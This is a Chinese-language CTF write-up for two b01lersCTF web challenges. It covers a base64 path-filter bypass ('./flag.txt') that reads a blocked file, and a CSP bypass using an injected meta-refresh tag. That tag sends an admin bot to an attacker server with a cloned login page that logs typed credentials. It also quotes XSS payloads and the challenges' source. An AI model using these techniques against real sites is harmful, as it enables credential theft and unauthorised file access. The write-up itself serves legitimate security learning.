b01lersCTF
Web
warmUp
进去后只有一个"HelloWorld",F12查找信息发现 debug.html
文件,注意到该网址的路径都是base64编码过的
debug.html -> ZGVidWcuaHRtbA==
访问 /ZGVidWcuaHRtbA==
会得到提示:
testing rendering for flask app.py
这是一个flask模板的测试,源码文件是"app.py",该文件也是可以访问的,b64编码:YXBwLnB5
. 访问后得到源码:
from base64 import b64decode
import flask
app = flask.Flask(__name__)
@app.route('/')
def index2(name):
name = b64decode(name)
if (validate(name)):
return "This file is blocked!"
try:
file = open(name, 'r').read()
except:
return "File Not Found"
return file
@app.route('/')
def index():
return flask.redirect('/aW5kZXguaHRtbA==')
def validate(data):
if data == b'flag.txt':
return True
return False
if __name__ == '__main__':
app.run()
传入 /
后的路径都会被b64解码,所得到的字节流内容被拿来与 b'flag.txt'
进行比较,若相同则禁止访问。否则就读取该文件,若存在则将文件内容显示出来。
显然题目源码的文件夹下有一个名为"flag.txt"的文件,我们需要绕过这个过滤读取到它。Linux严格区分大小写,因此大小写混淆不行,可以使用 ./flag.txt => Li9mbGFnLnR4dA==
来读取到flag,文件路径匹配有很多写法,包括但不限于相对路径、省略的相对路径、绝对路径。
fishy-motd
钓鱼的motd
创建一条信息并共享出去,一眼XSS。可以在输入框中输入各种html标签,但由于源码中"public/index.html"中有CSP保护:
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'" />
Content-Security-Policy的MDN文档 . 它规定了CSS只使用服务器来源的样式,其他的内联属性包括JavaScript等内容全部禁用(none即没有任何来源被允许),因此常规的标签全部失效,包括但不限于:
<img src="" one rror="javascript:alert(1)" />
<script>alert(1)</script>
<button onclick="alert(1)">click me</button>
对于 <img/>
标签,可以在 onerror
中写 this.src="newSrc for pics"
为其赋新的图片地址,该标签就会重新去访问该地址,利用这个可以做到页面跳转。
为了绕过CSP的限制,参考:CSP浅析与绕过 . 使用
<meta http-equiv="refresh" content="1; url=http://0.0.0.0:7890/" >
"refresh"定义该标签会刷新页面,"content"表示延迟1秒后访问网址"url",整个页面将被重定向至url。因此可以实现页面的跳转。
查看题目源码:
import fastify from 'fastify';
import fastifyFormbody from '@fastify/formbody';
import fastifyStatic from '@fastify/static';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
import puppeteer from 'puppeteer';
import { nanoid } from 'nanoid';
let messages = {}
const server = fastify();
server.register(fastifyFormbody);
server.register(fastifyStatic, {
root: path.join(path.dirname(fileURLToPath(import.meta.url)), 'public'),
prefix: '/public/'
});
const flag = process.env.FLAG || 'flag{fake_flag}';
const port = 5000;
const user = process.env.ADMIN_USER || 'admin';
const pass = process.env.ADMIN_PASS || 'pass';
server.get('/', (req, res) => {
res.sendFile('index.html')
});
server.get('/style.css', (req, res) => {
res.sendFile('style.css')
});
server.get('/login', (req, res) => {
const id = req.query.motd;
if (!id) {
fs.readFile('./login.html', 'utf8', (err, data) => {
if (err) {
console.log(err);
res.status(500).send('Internal server error, please open a ticket');
}
else {
res.type('text/html').send(data.toString().replace('{{motd}}', 'Welcome to the server!'));
}
});
}
else {
if (id in messages) {
fs.readFile('./login.html', 'utf8', (err, data) => {
if (err) {
console.log(err);
res.status(500).send('Internal server error, please open a ticket');
}
else {
res.type('text/html').send(data.toString().replace('{{motd}}', messages[id]));
}
});
} else {
res.send('MOTD not found');
}
}
});
server.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
console.log(username)
console.log(password)
if (username === user && password === pass) {
res.send(flag);
}
else {
res.send('Incorrect username or password');
}
});
server.get('/start', async (req, res) => {
const id = req.query.motd;
if (id && id in messages) {
try {
const result = await adminBot(id);
if (result.error) {
res.send(result.error)
} else {
res.send('Hope everyone liked your message!')
}
} catch (err) {
console.log(err);
res.send('Something went wrong, please open a ticket');
}
} else {
res.send('MOTD not found');
}
});
server.post('/motd', (req, res) => {
const motd = req.body.motd;
const id = nanoid();
messages[id] = motd;
fs.readFile('./motd.html', 'utf8', (err, data) => {
if (err) {
console.log(err);
res.status(500).send('Internal server error, please open a ticket');
}
else {
res.type('text/html').send(data.toString().replaceAll('{{id}}', id));
}
});
})
server.get('/motd', (req, res) => {
res.send('Please use the form to submit a message of the day.');
});
const adminBot = async (id) => {
const browser = await puppeteer.launch({
headless: true, // Uncomment below if the sandbox is causing issues
// args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']
})
const page = await browser.newPage();
await page.setViewport({ width: 800, height: 600 });
const url = `http://localhost:${port}/login?motd=${id}`;
await page.goto(url);
await page.mouse.click(10, 10);
await new Promise(r => setTimeout(r, 1000));
try {
if (url !== await page.evaluate(() => window.location.href)) {
return { error: "Hey! Something's fishy here!" };
}
} catch (err) {
return { error: "Hey! Something's fishy here!" };
}
await new Promise(r => setTimeout(r, 5000));
await page.mouse.click(420, 280);
await page.keyboard.type(user);
await page.mouse.click(420, 320);
await page.keyboard.type(pass);
await page.mouse.click(420, 360);
await new Promise(r => setTimeout(r, 1000));
await browser.close();
messages[id] = undefined;
return { error: null };
}
server.listen({ port, host: '0.0.0.0' }, (err, address) => {
if (err) {
console.error(err);
process.exit(1);
}
console.log(`Server listening at ${address}`);
});
adminBot
函数模拟了管理员的行为,当我们在前端选择了部署特定的留言时,该留言内容会被传给这个模拟管理员,延迟1秒后检测页面是否需要报错,若不需要则再等待5秒,随后它通过点击特定位置并依次输入管理员的用户名、密码并确定登陆。
因此我们有如下思路:通过传入标签
<meta http-equiv="refresh" content="1; url=http://myServerIp:myPort/" >
让模拟管理员在输入账密之前跳转至自己服务器的伪造页面,并获取其输入的账密。随后我们输入该账密即可登录,获取flag。
自己伪造页面需要考虑到模拟管理员的点击坐标问题,非常麻烦,因此直接借用题目源码的"login.html"页面(就是原登录页面),稍微加点手脚,在 login
函数中加上
console.log(username)
console.log(password)
将输入并提交的账密登记到服务器后台上。被登记到控制台的内容会被回显到服务器监控日志上(例如 Docker run
不调用 -d
参数使容器不被放到后台挂载,就能直接监控到容器的日志),此处省略服务器配置问题。